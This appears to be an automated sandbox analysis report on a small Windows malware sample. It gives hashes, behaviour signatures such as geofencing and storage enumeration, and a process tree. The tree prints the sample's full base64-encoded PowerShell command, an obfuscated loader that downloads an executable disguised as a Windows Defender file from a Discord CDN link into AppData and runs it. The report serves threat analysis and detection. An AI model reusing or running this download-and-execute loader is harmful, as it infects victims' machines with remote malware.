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Analysis

  • max time kernel
    111s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/01/2023, 09:33

General

  • Target

    SecuriteInfo.com.Variant.Marsilia.2083.14237.623.exe

  • Size

    6KB

  • MD5

    cc8f21ae349c24e980957796b2960381

  • SHA1

    3e4a5550e97dd23cdbc15164ee9c3eae5bd64530

  • SHA256

    84f4147c587997001ab5038e87e4c2d4ebccd9ca90b5aa7dca4ee6ff0c71ca3c

  • SHA512

    ae61e6680ee7c095ea13045cbfe47b480ec733f87ea9f1db3e7d7209cfb51e6e0edbfaea9003e39b7b568e3287916a2db6b5c033da4754402b7b6d74e7421995

  • SSDEEP

    96:1Otr37988CFppBd5tJOvk+K8AYcs8vk+Kipwvzd3ojvrl:1OtX98nFpvd5avk9YsvkGCzdu

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Marsilia.2083.14237.623.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Marsilia.2083.14237.623.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2284
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAcwBoACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA2ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQA3ADQAMQA0ADgANAA4ADkAMAA2ADAAMAA2ADYAMAA5AC8AMQAwADUANwA0ADEANQAxADQAOAAwADgAOQA5ADEANwA1ADUAMAAvAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFMAbQBhAHIAdAB0AFMAYwByAGUAZQBuAC4AZQB4AGUAJwAsACAAPAAjAGcAcABhACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAbABjAHkAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAagBtAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANQAuAGUAeABlACcAKQApADwAIwBrAHoAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwByAHcAegAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZQByAHIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANQAuAGUAeABlACcAKQA8ACMAagB1AG0AIwA+AA=="
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3604

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/2284-132-0x0000000000C90000-0x0000000000C98000-memory.dmp

    Filesize

    32KB

  • memory/2284-135-0x00007FFE18DE0000-0x00007FFE198A1000-memory.dmp

    Filesize

    10.8MB

  • memory/3604-136-0x00007FFE18DE0000-0x00007FFE198A1000-memory.dmp

    Filesize

    10.8MB

  • memory/3604-134-0x000002471A630000-0x000002471A652000-memory.dmp

    Filesize

    136KB

  • memory/3604-137-0x00007FFE18DE0000-0x00007FFE198A1000-memory.dmp

    Filesize

    10.8MB

  • memory/3604-138-0x00007FFE18DE0000-0x00007FFE198A1000-memory.dmp

    Filesize

    10.8MB